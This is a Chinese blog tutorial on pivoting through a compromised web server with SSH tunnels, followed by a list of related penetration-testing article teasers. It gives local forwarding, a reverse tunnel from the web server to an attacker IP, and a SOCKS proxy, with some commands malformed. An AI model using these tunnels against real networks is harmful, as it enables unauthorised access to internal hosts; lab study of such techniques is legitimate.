内网渗透之——ssh隧道

网络拓扑图：

ssh 正向链接：

在web服务器执行：ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1

（在web服务器做端口映射，将数据服务器的80端口映射到web服务器的7777端口，随后访问192.168.0.144:7777即可访问到数据库的80页面。）

反向连接：

将web服务器的22端口转发出去到黑客IP

web服务器执行：

ssh -qTfnN -R 2222:127.0.0.1 root@192.168.0.115 输入密码

在攻击机上输入：

ssh -p 2222 web@127.0.0.1 输入密码便可以访问

ssh sockets 代理

在web服务器执行 SSH -qTfnN -D prot root@192.168.0.155

在155浏览器中设置代理，代理为web服务器以及10086端口。

例如 ssh -qTfnN -D 10086 root@192.168.0.155 输入root密码成功连接

内网渗透-SSH隧道相关推荐

0x02 内网渗透篇
来源如下图:(微信公众号:0x00实验室) 00 - 内网渗透的流程拿到跳板后,先探测一波内网存活主机,用net user /domian命令查看跳板机是否在域内,探测存活主机.提权.提取hash ...
ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术
hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...
内网渗透-端口转发隧道技术
文章目录代理和隧道技术区别隧道通信原理常用的隧道技术判断内网协议连通性 ICMP协议 TCP协议 telnet NC HTTP协议 curl Wget DNS协议 nslookup dig I ...
内网渗透系列：内网隧道之ICMP隧道
目录前言一.ICMP隧道技术 1.ICMP协议 (1)报文格式 (2)ping 2.ICMP隧道 (1)原理 (2)优缺点二.ICMP隧道工具 1.icmpsh (1)源码 (2)用法 2.ic ...
内网渗透系列：内网隧道之pingtunnel
目录前言一.概述 1.简介 2.原理 3.使用 (1)直连出网 (2)跳板出网二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)nc 3.抓包看看三.探索 1.源码与分析 ( ...
内网渗透系列：内网隧道之icmpsh
目录前言一.概述 1.简介 2.原理 3.使用二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)隧道建立成功 3.抓包看看三.探索 1.源码与分析 (1)客户端 (2)服务端 ...
红蓝对抗 linux内网渗透
目录一.前言二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权三.隧道 3.1 SSH 3.2 nc/ncat 3.3 portmap ...
小迪渗透内网渗透（玖）
文章目录 65. 域环境&工作组&局域网方针(65-72) 演示案例: 涉及资源: 66. 横向批量&schtasks&im&packet 演示案例: 涉及资源 ...
内网渗透 | FRP代理工具详解
FRP工具的使用 FRP官方文档:https://gofrp.org/docs 文章目录 **一.FRP工具的介绍** **1.为什么需要内网穿透** **2.FRP介绍** **3.为什么使用FRP ...

内网渗透-SSH隧道

内网渗透之——ssh隧道

内网渗透-SSH隧道相关推荐

最新文章

热门文章